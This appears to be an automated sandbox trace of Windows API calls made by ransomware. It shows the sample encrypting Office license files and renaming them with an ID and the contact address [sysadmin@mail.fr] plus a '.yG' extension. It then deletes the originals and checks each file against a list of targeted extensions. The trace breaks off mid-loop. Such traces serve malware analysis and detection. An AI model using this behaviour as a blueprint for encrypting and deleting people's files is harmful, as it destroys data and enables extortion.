	[0164.342] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.343] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x116, lpOverlapped=0x0) returned 1
	[0164.343] SetEndOfFile (hFile=0x51c) returned 1
	[0164.358] CloseHandle (hObject=0x51c) returned 1
	[0164.358] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.358] SetEndOfFile (hFile=0x38c) returned 1
	[0164.387] CloseHandle (hObject=0x38c) returned 1
	[0164.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1
	[0164.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0164.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0164.389] lstrlenW (lpString=".doc") returned 4
	[0164.389] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.389] lstrlenW (lpString=".docx") returned 5
	[0164.389] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.389] lstrlenW (lpString=".pdf") returned 4
	[0164.389] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.389] lstrlenW (lpString=".xls") returned 4
	[0164.389] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.389] lstrlenW (lpString=".xlsx") returned 5
	[0164.389] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.389] lstrlenW (lpString=".ppt") returned 4
	[0164.389] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0164.389] lstrlenW (lpString=".zip") returned 4
	[0164.389] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.389] lstrlenW (lpString=".rar") returned 4
	[0164.389] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.389] lstrlenW (lpString=".bz2") returned 4
	[0164.389] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.389] lstrlenW (lpString=".7z") returned 3
	[0164.389] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0164.389] lstrlenW (lpString=".dbf") returned 4
	[0164.389] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0164.389] lstrlenW (lpString=".1cd") returned 4
	[0164.390] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0164.390] lstrlenW (lpString=".jpg") returned 4
	[0164.390] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.390] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11621) returned 1
	[0164.391] CloseHandle (hObject=0x38c) returned 1
	[0164.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220
	[0164.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0164.699] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.699] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0165.974] GetLastError () returned 0x0
	[0165.974] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0165.977] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0165.978] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.978] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0165.978] SetEndOfFile (hFile=0x554) returned 1
	[0165.979] CloseHandle (hObject=0x554) returned 1
	[0165.979] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.979] SetEndOfFile (hFile=0x38c) returned 1
	[0165.987] CloseHandle (hObject=0x38c) returned 1
	[0165.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1
	[0165.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0165.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0165.988] lstrlenW (lpString=".doc") returned 4
	[0165.988] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0165.988] lstrlenW (lpString=".docx") returned 5
	[0165.988] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0165.988] lstrlenW (lpString=".pdf") returned 4
	[0165.988] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0165.988] lstrlenW (lpString=".xls") returned 4
	[0165.988] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0165.988] lstrlenW (lpString=".xlsx") returned 5
	[0165.989] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0165.989] lstrlenW (lpString=".ppt") returned 4
	[0165.989] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0165.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0165.989] lstrlenW (lpString=".zip") returned 4
	[0165.989] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0165.989] lstrlenW (lpString=".rar") returned 4
	[0165.989] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0165.989] lstrlenW (lpString=".bz2") returned 4
	[0165.989] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0165.989] lstrlenW (lpString=".7z") returned 3
	[0165.989] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0165.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0165.989] lstrlenW (lpString=".dbf") returned 4
	[0165.989] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0165.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0165.989] lstrlenW (lpString=".1cd") returned 4
	[0165.989] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0165.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87
	[0165.989] lstrlenW (lpString=".jpg") returned 4
	[0165.989] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0165.990] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=22094) returned 1
	[0165.990] CloseHandle (hObject=0x38c) returned 1
	[0165.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220
	[0165.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0165.991] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.991] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0165.992] GetLastError () returned 0x0
	[0165.992] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x564e, lpOverlapped=0x0) returned 1
	[0166.009] WriteFile (in: hFile=0x48c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0166.011] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.011] WriteFile (in: hFile=0x48c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x118, lpOverlapped=0x0) returned 1
	[0166.011] SetEndOfFile (hFile=0x48c) returned 1
	[0166.011] CloseHandle (hObject=0x48c) returned 1
	[0166.011] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.011] SetEndOfFile (hFile=0x38c) returned 1
	[0166.016] CloseHandle (hObject=0x38c) returned 1
	[0166.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1
	[0166.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0166.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0166.017] lstrlenW (lpString=".doc") returned 4
	[0166.017] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.017] lstrlenW (lpString=".docx") returned 5
	[0166.017] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.017] lstrlenW (lpString=".pdf") returned 4
	[0166.017] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.017] lstrlenW (lpString=".xls") returned 4
	[0166.018] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.018] lstrlenW (lpString=".xlsx") returned 5
	[0166.018] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.018] lstrlenW (lpString=".ppt") returned 4
	[0166.018] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0166.018] lstrlenW (lpString=".zip") returned 4
	[0166.018] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.018] lstrlenW (lpString=".rar") returned 4
	[0166.018] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.018] lstrlenW (lpString=".bz2") returned 4
	[0166.018] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.018] lstrlenW (lpString=".7z") returned 3
	[0166.018] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0166.018] lstrlenW (lpString=".dbf") returned 4
	[0166.018] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0166.018] lstrlenW (lpString=".1cd") returned 4
	[0166.018] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0166.018] lstrlenW (lpString=".jpg") returned 4
	[0166.018] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.019] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11621) returned 1
	[0166.019] CloseHandle (hObject=0x38c) returned 1
	[0166.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 0x220
	[0166.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0166.020] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.021] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0166.021] GetLastError () returned 0x0
	[0166.021] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0166.037] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0166.038] ReadFile (in: hFile=0x38c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.038] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0166.038] SetEndOfFile (hFile=0x554) returned 1
	[0166.038] CloseHandle (hObject=0x554) returned 1
	[0166.038] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.038] SetEndOfFile (hFile=0x38c) returned 1
	[0166.077] CloseHandle (hObject=0x38c) returned 1
	[0166.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 1
	[0166.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0166.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0166.079] lstrlenW (lpString=".doc") returned 4
	[0166.079] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.079] lstrlenW (lpString=".docx") returned 5
	[0166.079] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.079] lstrlenW (lpString=".pdf") returned 4
	[0166.079] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.079] lstrlenW (lpString=".xls") returned 4
	[0166.079] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.079] lstrlenW (lpString=".xlsx") returned 5
	[0166.079] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.079] lstrlenW (lpString=".ppt") returned 4
	[0166.079] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0166.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0166.394] lstrlenW (lpString=".zip") returned 4
	[0166.394] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0166.394] lstrlenW (lpString=".rar") returned 4
	[0166.394] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0166.394] lstrlenW (lpString=".bz2") returned 4
	[0166.394] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0166.394] lstrlenW (lpString=".7z") returned 3
	[0166.394] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0166.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0166.394] lstrlenW (lpString=".dbf") returned 4
	[0166.394] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0166.394] lstrlenW (lpString=".1cd") returned 4
	[0166.394] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0166.394] lstrlenW (lpString=".jpg") returned 4
	[0166.394] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.626] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.626] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0166.628] GetLastError () returned 0x0
	[0166.628] ReadFile (in: hFile=0x53c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0166.632] WriteFile (in: hFile=0x48c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0166.634] ReadFile (in: hFile=0x53c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.634] WriteFile (in: hFile=0x48c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x118, lpOverlapped=0x0) returned 1
	[0166.634] SetEndOfFile (hFile=0x48c) returned 1
	[0166.634] CloseHandle (hObject=0x48c) returned 1
	[0166.634] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.635] SetEndOfFile (hFile=0x53c) returned 1
	[0166.638] CloseHandle (hObject=0x53c) returned 1
	[0166.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 1
	[0166.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0166.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0166.640] lstrlenW (lpString=".doc") returned 4
	[0166.640] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0166.640] lstrlenW (lpString=".docx") returned 5
	[0166.640] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0166.640] lstrlenW (lpString=".pdf") returned 4
	[0166.641] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0166.641] lstrlenW (lpString=".xls") returned 4
	[0166.641] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0166.642] lstrlenW (lpString=".xlsx") returned 5
	[0166.642] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0166.642] lstrlenW (lpString=".ppt") returned 4
